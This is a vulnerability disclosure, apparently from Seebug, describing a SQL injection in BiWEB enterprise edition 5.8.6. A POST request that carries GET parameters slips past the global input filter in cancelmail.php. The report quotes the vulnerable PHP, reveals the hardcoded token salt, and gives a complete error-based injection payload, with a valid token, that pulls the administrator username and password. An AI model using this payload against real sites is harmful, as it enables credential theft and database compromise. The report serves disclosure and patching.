BiWEB最新企业版绕过过滤注入一枚

2014-12-04T00:00:00
ID SSV:95301
Type seebug
Reporter Root
Modified 2014-12-04T00:00:00

Description

简要描述:

BiWEB最新企业版绕过过滤注入一枚

详细说明:

看到pandas提交的BiWEB的漏洞 WooYun: BIWEB企业版多处SQL注入 ,在search.php里找到了几个注入漏洞,我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。 注入点在http://xxx.com/emaillist/cancelmail.php?u_mail=1&token=,其中u_mail=1存在注入漏洞 先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php

<?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?>

这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是 POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局 过滤,这样就绕过了全局过滤。 在/emaillist/cancelmail.php中

无关代码 $objWebInit->arrGPage = $arrGPage; $objWebInit->db(); if(!empty($_GET['u_mail']) && !empty($_GET['token'])){ if($_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])){//数据匹配,则标识为退订邮件 $strWhere=" WHERE title='{$_GET['u_mail']}'"; $objWebInit->updateDataG('biweb_emaillist',array('pass'=>'7'),$strWhere); echo "<script>alert('退订成功');window.close();</script>";exit; } } 无关代码

继续去看看updateDataG(),在/web_common5.8/php_common.php中

``` public function updateDataG($table,$arrData,$where=''){ try { $strSQL = " UPDATE $table SET "; foreach ($arrData as $k => $v) { if(strpos($v,'fun(')!==false){ $v = str_ireplace('fun(','(',$v); $strSQL .= $k."=" . $v . ","; }else $strSQL .= $k."='" . $v . "',"; } $strSQL = substr($strSQL, 0, -1); $strSQL .= ' '.$where; if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'

'; if($result = $this->db->exec($strSQL)){ if($this->arrGPdoDB['PDO_LOGS']) check::getAPI('logs','addLog',"2^$table^$where^$strSQL"); return $result; } } catch (PDOException $e) { die('Failed: ' . $e->getMessage().'

'); } } ```

可以看出,整个过程中没有其他的过滤,只要可以绕过全局过滤,就可以注入。 在/emaillist/cancelmail.php中,要满足$_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])这个条件才可以执行SQL语句,这里的$arrGWeb['jamstr']是一个全局变量,值为’BIWEB88’,因此,这里只要把$_GET['u_mail']与BIWEB88连接并取其md5值赋予token提交即可。 如果按正常的情况使用GET提交,单引号被全局过滤编码,如下:

<img src="https://images.seebug.org/upload/201412/032343507b78f144db3a57f1412c2dbb882687ce.jpg" alt="单引号被编码副本.jpg" width="600" onerror="javascript:errimg(this);">

把GET方法改为POST提交,成功引入单引号,如下:

<img src="https://images.seebug.org/upload/201412/0323440779e24b7d6f03c7d88cc56420bcb51127.jpg" alt="单引号被引入副本.jpg" width="600" onerror="javascript:errimg(this);">

成功注入,管理员用户名及密码如下图中所示:

<img src="https://images.seebug.org/upload/201412/032344264222cf084401892655b56f3300191137.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">

payload如下(POST方法提交)

http://www.xxx.com/emaillist/cancelmail.php?u_mail=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/** /concat(user_name,0x23,password,0x23)from/**/biweb_mcenter/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/ group/**/by/**/x)a)or/**/'&token=e68367f5f3a54b46938651c9afa04dcb

漏洞证明:

见 详细说明